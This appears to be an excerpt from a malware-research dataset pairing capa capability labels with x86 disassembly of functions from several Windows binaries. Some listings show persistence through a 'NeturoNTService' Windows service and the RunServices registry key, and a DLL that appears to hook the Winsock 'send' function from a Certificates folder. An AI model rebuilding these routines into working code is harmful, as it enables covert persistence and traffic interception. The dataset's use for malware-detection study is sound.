joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003260
Capabilities:
Check os version
Get file size
Read file on windows

Disassembly:
sub esp, 0x534
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x222]
mov word [esp + 0x220], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x428]
mov dword [esp + 0x428], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [esp + 0x42c]
push esi
cmp eax, 6
jae 0x100032d0
lea ecx, [esp + 0x224]
push 0x23
push ecx
jmp 0x100032da
lea edx, [esp + 0x224]
push 0x1a
push edx
push esi
call dword [0x1000d708]
lea eax, [esp + 0x220]
push str.MicrosoftSystemCertificatesCertificates.ini
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push esi
push 3
push esi
push 1
lea ecx, [esp + 0x234]
push 0x80000000
push ecx
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, esi
je 0x10003373
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edi, [ebp + 2]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
test esi, esi
rep stosb byte es:[edi], al
je 0x1000336c
lea eax, [esp + 0x14]
push 0
push eax
push ebp
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x18]
push ecx
push esi
call fcn.10003070
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [esp + 0x18]
push edx
call esi
test eax, eax
jne 0x10003394
lea eax, [esp + 0x18]
push str.Default
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x18]
push ecx
call esi
lea ebp, [eax + eax + 3]
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea edx, [esp + 0x18]
push edx
mov byte [ebx], 0x67
call esi
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x18]
mov eax, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
call fcn.100031c0
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x534
ret

Function at 0x100035b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push 0
call fcn.100039e0
add esp, 4
call fcn.100038a0
push 0x1000df9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100035d6
inc dword [0x1000dd88]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1000dd88]
test eax, eax
jne 0x100035f2
push 0x64
call esi
mov eax, dword [0x1000dd88]
test eax, eax
je 0x100035e5
call fcn.10002d20
mov eax, dword [0x1000dd88]
test eax, eax
jle 0x1000360d
push 0x64
call esi
mov eax, dword [0x1000dd88]
test eax, eax
jg 0x10003600
call fcn.10002db0
jmp 0x100035dc
Function at 0x10003700
Capabilities:
Check os version
Create directory

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x11c
cmp eax, 1
jne 0x100037c5
mov eax, dword [esp + 0x120]
mov dword [0x1000dd90], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp]
mov dword [0x1000dd84], eax
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
cmp dword [esp + 8], 6
sbb eax, eax
and eax, 9
add eax, 0x1a
push eax
push 0x1000dd94
push 0
call dword [0x1000d708]
push 0x1000dd94
push str._sMicrosoftSystemCertificates
push 0x1000df9c
call dword [0x1000d73c]
add esp, 0xc
push 0
push 0x1000df9c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.wab32com.crt
push 0x1000df9c
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.ws2_32.dll
mov ecx, 0x1000e3a0
call fcn.10002180
push 0x10003490
push str.send
mov ecx, 0x1000e3a0
call fcn.10002230
mov dword [0x1000e3b8], eax
mov eax, 1
add esp, 0x11c
ret 0xc
test eax, eax
jne 0x100037d8
push str.send
mov ecx, 0x1000e3a0
call fcn.100024d0
mov eax, 1
add esp, 0x11c
ret 0xc

Function at 0x10003820
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x100037f0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401a80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8

Function at 0x401ce0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x14], 0
jne 0x401d18
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 5], 1
mov edx, dword [ebp - 0x10]
mov byte [edx + 4], 0
push str.Error_opening_log_file_n
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401b00
add esp, 0xc
jmp 0x401e2a
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 4], 1
mov edx, dword [ebp - 0x10]
xor eax, eax
mov al, byte [edx + 0x18]
test eax, eax
jne 0x401da6
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x14]
push edx
call fcn.00404080
add esp, 4
add eax, 5
push eax
call fcn.0040406c
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401da6
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00403d60
add esp, 8
push str..bak
mov ecx, dword [ebp - 4]
push ecx
call fcn.00403d70
add esp, 8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00403938
add esp, 4
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x10], 0xffffffff
jne 0x401dfc
mov eax, dword [ebp - 0x10]
mov byte [eax + 5], 1
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 4], 0
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x14]
push eax
push str.Error_opening_log_file__s_n
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401b00
add esp, 0x10
mov edx, dword [ebp - 0x10]
xor eax, eax
mov al, byte [edx + 0x18]
test eax, eax
je 0x401e1d
push 2
push 0
push 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x401e2a
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esp, ebp
pop ebp
ret
Function at 0x401fa0
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax + 5]
test ecx, ecx
je 0x401fbf
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax + 6]
test ecx, ecx
je 0x401ff1
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404080
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx + 4]
test eax, eax
je 0x40202a
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x10], 0
je 0x40202a
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404080
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esp, ebp
pop ebp
ret 4
Function at 0x402030
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [0x410394], 0xffffffff
cmp dword [ebp - 0x84], 2
jne 0x402169
cmp dword [ebp - 0x90], 6
jne 0x402090
mov dword [0x410394], 4
push str.vista
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403d60
add esp, 8
jmp 0x402167
cmp dword [ebp - 0x90], 5
jne 0x40210b
cmp dword [ebp - 0x8c], 2
jne 0x4020bf
mov dword [0x410394], 1
push 0x40d194
mov edx, dword [ebp + 8]
push edx
call fcn.00403d60
add esp, 8
jmp 0x402109
cmp dword [ebp - 0x8c], 1
jne 0x4020e5
mov dword [0x410394], 2
push 0x40d198
mov eax, dword [ebp + 8]
push eax
call fcn.00403d60
add esp, 8
jmp 0x402109
cmp dword [ebp - 0x8c], 0
jne 0x402109
mov dword [0x410394], 1
push 0x40d19c
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403d60
add esp, 8
jmp 0x402167
cmp dword [ebp - 0x90], 4
jne 0x40213a
cmp dword [ebp - 0x8c], 0
jne 0x402138
mov dword [0x410394], 1
push 0x40d1a0
mov edx, dword [ebp + 8]
push edx
call fcn.00403d60
add esp, 8
jmp 0x402167
cmp dword [ebp - 0x90], 3
jne 0x402167
cmp dword [ebp - 0x8c], 0x33
jne 0x402167
mov dword [0x410394], 1
push 0x40d1a4
mov eax, dword [ebp + 8]
push eax
call fcn.00403d60
add esp, 8
jmp 0x4021cd
cmp dword [ebp - 0x84], 1
jne 0x4021ba
cmp dword [ebp - 0x90], 4
jne 0x4021b8
cmp dword [ebp - 0x8c], 0x5a
jne 0x402190
mov dword [0x410394], 0xffffffff
jmp 0x4021b8
cmp dword [ebp - 0x8c], 0xa
jne 0x4021a5
mov dword [0x410394], 0xffffffff
jmp 0x4021b8
cmp dword [ebp - 0x8c], 0
jne 0x4021b8
mov dword [0x410394], 0xffffffff
jmp 0x4021cd
cmp dword [ebp - 0x84], 0
jne 0x4021cd
mov dword [0x410394], 0xffffffff
cmp dword [0x410394], 2
je 0x4021df
cmp dword [0x410394], 4
jne 0x40223b
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x9c], 0
cmp dword [ebp - 0x98], 0
je 0x402223
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x98]
cmp dword [ebp - 0x9c], 0
je 0x40223b
mov edx, dword [0x410394]
add edx, 1
mov dword [0x410394], edx
cmp dword [0x410394], 3
jne 0x402257
push str.xp64
mov eax, dword [ebp + 8]
push eax
call fcn.00403d60
add esp, 8
jmp 0x402271
cmp dword [0x410394], 5
jne 0x402271
push str.vista64
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403d60
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x402b1b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push str.StartProcess_start__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov dword [ebp - 0x148], 0x44
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 1
mov word [ebp - 0x118], 1
mov word [ebp - 0x116], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
push 0xff
push 0
lea eax, [ebp - 0x100]
push eax
call fcn.004038e0
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x402c24
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s__s
lea eax, [ebp - 0x100]
push eax
call fcn.00403f15
add esp, 0x10
jmp 0x402c3c
mov ecx, dword [ebp + 8]
push ecx
push 0x40d648
lea edx, [ebp - 0x100]
push edx
call fcn.00403f15
add esp, 0xc
mov dword [ebp - 0x104], 0xffffffff
push 0x4103d0
lea eax, [ebp - 0x148]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [ebp - 0x100]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x104], eax
mov edx, dword [ebp - 0x104]
push edx
push str.StartProcess_end___d__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x10
cmp dword [ebp - 0x104], 0
je 0x402c9e
mov eax, 1
jmp 0x402ca0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402ced
Capabilities:
Create service
Persist via run registry key
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push str.ServiceInstall_start__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov dword [ebp - 0x16c], 0x104
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402d33
xor eax, eax
jmp 0x402f37
lea ecx, [ebp - 0x104]
push ecx
push str.ServiceInstall_path__s___n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x10
mov edx, dword [0x4103c4]
push edx
mov eax, dword [0x4103c8]
push eax
mov ecx, dword [0x4103cc]
push ecx
push str.ServiceInstall_m_platform_id__d___m_version_major__d___m_version_minor__d__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x18
push 0x64
push 0
lea edx, [ebp - 0x168]
push edx
call fcn.004038e0
add esp, 0xc
mov eax, dword [0x4103cc]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
je 0x402daf
cmp dword [ebp - 0x17c], 2
je 0x402e2b
jmp 0x402f1e
lea ecx, [ebp - 0x170]
push ecx
push 0x40d6e4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x402dd1
xor eax, eax
jmp 0x402f37
lea edx, [ebp - 0x104]
push edx
call fcn.00404080
add esp, 4
add eax, 1
push eax
lea eax, [ebp - 0x104]
push eax
push 1
push 0
push str.NeturoNTService
mov ecx, dword [ebp - 0x170]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402e19
mov edx, dword [ebp - 0x170]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402f37
mov eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402f1e
push str.ServiceInstall_VER_PLATFORM_WIN32_NT_start__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x178], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.hsrvmanager__NULL___d__error
lea ecx, [ebp - 0x168]
push ecx
call fcn.00403f15
add esp, 0xc
cmp dword [ebp - 0x178], 0
jne 0x402e7f
xor eax, eax
jmp 0x402f37
push str.ServiceInstall_VER_PLATFORM_WIN32_NT_1__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 1
push 2
push 0x110
push 0xf01ff
push str.NeturoNTService
push str.NeturoNTService
mov eax, dword [ebp - 0x178]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x178]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.ServiceInstall_VER_PLATFORM_WIN32_NT_2__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
cmp dword [ebp - 0x174], 0
jne 0x402efd
xor eax, eax
jmp 0x402f37
push str.ServiceInstall_VER_PLATFORM_WIN32_NT_3__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov edx, dword [ebp - 0x174]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.ServiceInstall_end__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402f3b
Capabilities:
Delete registry value
Delete service
Persist via run registry key
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4103cc]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
je 0x402f5a
cmp dword [ebp - 0x2c], 2
je 0x402fac
jmp 0x403059
lea ecx, [ebp - 4]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x402f79
xor eax, eax
jmp 0x40305e
push str.NeturoNTService
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x402f9d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40305e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403059
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x402fcb
xor eax, eax
jmp 0x40305e
push 0xf01ff
push str.NeturoNTService
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x402ff6
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40305e
lea ecx, [ebp - 0x24]
push ecx
push 1
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x403033
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x403033
cmp dword [ebp - 0x20], 3
jne 0x40302f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403031
jmp 0x403033
jmp 0x40300a
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40304f
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40305e
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403062
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
push 0x64
push 0
lea eax, [ebp - 0x64]
push eax
call fcn.004038e0
add esp, 0xc
push str.ServiceStart_start__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40d858
lea edx, [ebp - 0x64]
push edx
call fcn.00403f15
add esp, 0x10
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ServiceStart__hSCM__0___d_____x__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x14
cmp dword [ebp - 0x6c], 0
jne 0x40312b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ServiceStart__hSCM__0___d__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x10
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Err_ServiceStart__hSCM__0___d_____x__n
lea edx, [ebp - 0x64]
push edx
call fcn.00403f15
add esp, 0x10
xor eax, eax
jmp 0x4031e8
push 0xf01ff
push str.NeturoNTService
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
push ecx
push str.NeturoNTService
push str.ServiceStart_OpenService___s____x__n
lea edx, [ebp - 0x64]
push edx
call fcn.00403f15
add esp, 0x10
cmp dword [ebp - 0x68], 0
jne 0x403170
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4031e8
push 0
push 0
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4031bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x70], eax
mov edx, dword [ebp - 0x70]
push edx
push str.ServiceStart_k___d___n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0x10
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4031e8
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.ServiceStart_end__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4031ec
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.ServiceStop_start__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403233
xor eax, eax
jmp 0x4032b7
push 0xf01ff
push str.NeturoNTService
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40325e
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4032b7
lea edx, [ebp - 0x24]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40328a
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x4032b7
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.ServiceStop_end__n
push 0
push 0x4103e0
call fcn.00401b00
add esp, 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4037ca
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x3000164e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [0x30001068]
push edi
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x30001718
push 0x80000001
mov dword [ebp - 0x10], 4
call esi
test eax, eax
mov edi, dword [0x30001060]
mov ebx, dword [0x30001064]
jne 0x300016b8
cmp dword [ebp - 4], 0
je 0x300016b8
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x30001704
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call ebx
cmp dword [ebp - 0x14], 0
je 0x300018b2
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x30001718
push 0x80000002
call esi
test eax, eax
jne 0x300016fc
cmp dword [ebp - 4], eax
je 0x300016fc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x30001704
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov esi, eax
call ebx
test esi, esi
je 0x300018c9
xor al, al
pop edi
pop esi
pop ebx
leave
ret
cmp dword [ebp - 8], 4
jne 0x300016b8
xor eax, eax
cmp dword [ebp - 0xc], eax
setne al
jmp 0x300016fe
cmp dword [ebp - 8], 4
jne 0x300016fc
xor eax, eax
cmp dword [ebp - 0xc], eax
jmp 0x300018c1